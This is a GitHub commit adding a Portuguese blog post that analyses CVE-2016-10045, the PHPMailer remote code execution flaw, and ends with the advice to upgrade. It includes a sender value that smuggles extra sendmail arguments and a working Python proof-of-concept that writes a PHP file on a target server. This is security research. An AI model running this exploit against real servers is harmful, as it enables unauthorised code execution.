forked from brianmaierjr/long-haul
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
1f69556
commit cbea84b
Showing
1 changed file
with
101 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,101 @@ | ||
--- | ||
layout: post | ||
title: "Análise da CVE-2016-10045: RCE no PHPMailer" | ||
date: 2024-11-06 | ||
--- | ||
|
||
A [CVE-2016-10045](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10045)\[1\] é uma vulnerabilidade crítica no [PHPMailer](https://github.com/PHPMailer/PHPMailer)\[2\], que afeta versões anteriores à 5.2.18, uma biblioteca amplamente utilizada para o envio de e-mails em aplicações escritas em [PHP](https://www.php.net)\[3\]. Essa vulnerabilidade permite que um atacante execute códigos maliciosos em um servidor web comprometido, explorando uma falha de validação de entrada no código do PHPMailer. | ||
|
||
Essa publicação está disponível também em: [Inglês](https://blog.lesis.lat/blog/CVE-2016-10045-EN/) | ||
|
||
--- | ||
|
||
**Introdução** | ||
|
||
O PHPMailer continua sendo uma das bibliotecas de envio de e-mails mais utilizadas globalmente, com aproximadamente 9 milhões de usuários ao redor do mundo. Além disso, o PHPMailer é empregado em diversos projetos *open-source*, como: WordPress, Drupal, Joolma, entre outros. | ||
|
||
Um dos pontos que torna essa vulnerabilidade ainda mais crítica é que, na maioria dos casos, o atacante não precisa ser um usuário autenticado para injetar código malicioso e realizar uma [execução de código remoto (RCE)](https://www.cloudflare.com/en-gb/learning/security/what-is-remote-code-execution/)\[4\] em um servidor web. | ||
|
||
Para explorar essa vulnerabilidade, basta ao atacante identificar qualquer campo de formulário que utilize o PHPMailer para o envio de e-mail e, em seguida, enviar o payload. | ||
|
||
--- | ||
|
||
**Descrição** | ||
|
||
Essa vulnerabilidade decorre de uma correção inadequada na [CVE-2016-10033](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10033)\[5\]. Na versão 5.2.17 do PHPMailer, foi implementada uma sanitização da variável *$Sender* através da função *escapeshellarg()* antes que o valor fosse passado para a função *mail()*. Como resultado, é possível acrescentar uma aspa a mais que não é devidamente escapada, quebrando o fluxo da função *escapeshellarg()*. | ||
|
||
**Por exemplo:** | ||
|
||
```php | ||
$mail \-\> SetFrom("\\"Attacker\\\\' \-Param2 \-Param3\\"@test.com", 'Client Name'); | ||
``` | ||
|
||
Irá resultar na seguinte lista de argumentos sendo passada para o programa de envio de e-mails: | ||
|
||
``` | ||
Arg no. 0 \== \[/usr/sbin/sendmail\] | ||
Arg no. 1 \== \[-t\] | ||
Arg no. 2 \== \[-i\] | ||
Arg no. 3 \== \[-f\\"Attacker\\\\\\\] | ||
Arg no. 4 \== \[-Param2\] | ||
Arg no. 5 \== \[-Param3"@test.com'\] | ||
``` | ||
|
||
O atacante pode passar o parâmetro **\-X** para escrever um *log* contendo código PHP arbitrário, o que torna as versões anteriores à **5.2.20** vulneráveis à execução remota de código (RCE). | ||
|
||
--- | ||
|
||
**Prova de Conceito** | ||
|
||
Script em Python que explora a vulnerabilidade: | ||
|
||
```python | ||
#!/usr/bin/env python3 | ||
import requests | ||
import argparse | ||
import re | ||
def exploit(url, dir): | ||
if not re.match(r'^https?://', url): | ||
url \= f"https://{url}" | ||
payload \= "\\"attacker\\\\' \-oQ/tmp/ \-X%s/phpcode.php some\\"@email.com" % dir | ||
code \= "\<?php phpinfo(); ?\>" | ||
|
||
data \= {'action': 'send', 'name': 'LESIS', 'email': payload, 'msg': code} | ||
|
||
response \= requests.post(url, data=data) | ||
|
||
if response.status\_code \== 200: | ||
print("Exploitation successful\!") | ||
else: | ||
print("Exploitation failed.") | ||
def main(): | ||
parser \= argparse.ArgumentParser(description='CVE-2016-10045 | PHPMailer') | ||
parser.add\_argument('-t', '--target', required=True, help='Target URL') | ||
parser.add\_argument('-d', '--dir', required=True, help='Remote recording directory') | ||
args \= parser.parse\_args() | ||
|
||
if args.target and args.dir: | ||
exploit(args.target, args.dir) | ||
if \_\_name\_\_ \== '\_\_main\_\_': | ||
main() | ||
``` | ||
|
||
--- | ||
|
||
**Conclusão** | ||
|
||
A vulnerabilidade decorre de uma falha na sanitização de parâmetros de entrada no PHPMailer, permitindo que atacantes executem código malicioso em servidores web comprometidos. Isso representa um risco significativo, já que a exploração pode ser realizada sem a necessidade de autenticação, possibilitando a injeção de código remoto (RCE) em aplicações vulneráveis. | ||
|
||
Os potenciais impactos de uma exploração bem-sucedida incluem a execução de código arbitrário, que pode resultar em comprometimento da segurança e acesso não autorizado a informações sensíveis. | ||
|
||
A mitigação recomendada é atualizar o PHPMailer para a versão 5.2.20 ou superior. | ||
|
||
--- | ||
|
||
**Referências** | ||
|
||
* \[1\] [MITRE \- CVE-2016-10045](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10045) | ||
* \[2\] [GitHub \- PHPMailer: A full-featured email creation and transfer class for PHP](https://github.com/PHPMailer/PHPMailer) | ||
* \[3\] [PHP \- A popular general-purpose scripting language](https://www.php.net) | ||
* \[4\] [Cloudflare \- What is remote code execution?](https://www.cloudflare.com/en-gb/learning/security/what-is-remote-code-execution/) | ||
* \[5\] [MITRE \- CVE-2016-10033](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10033) |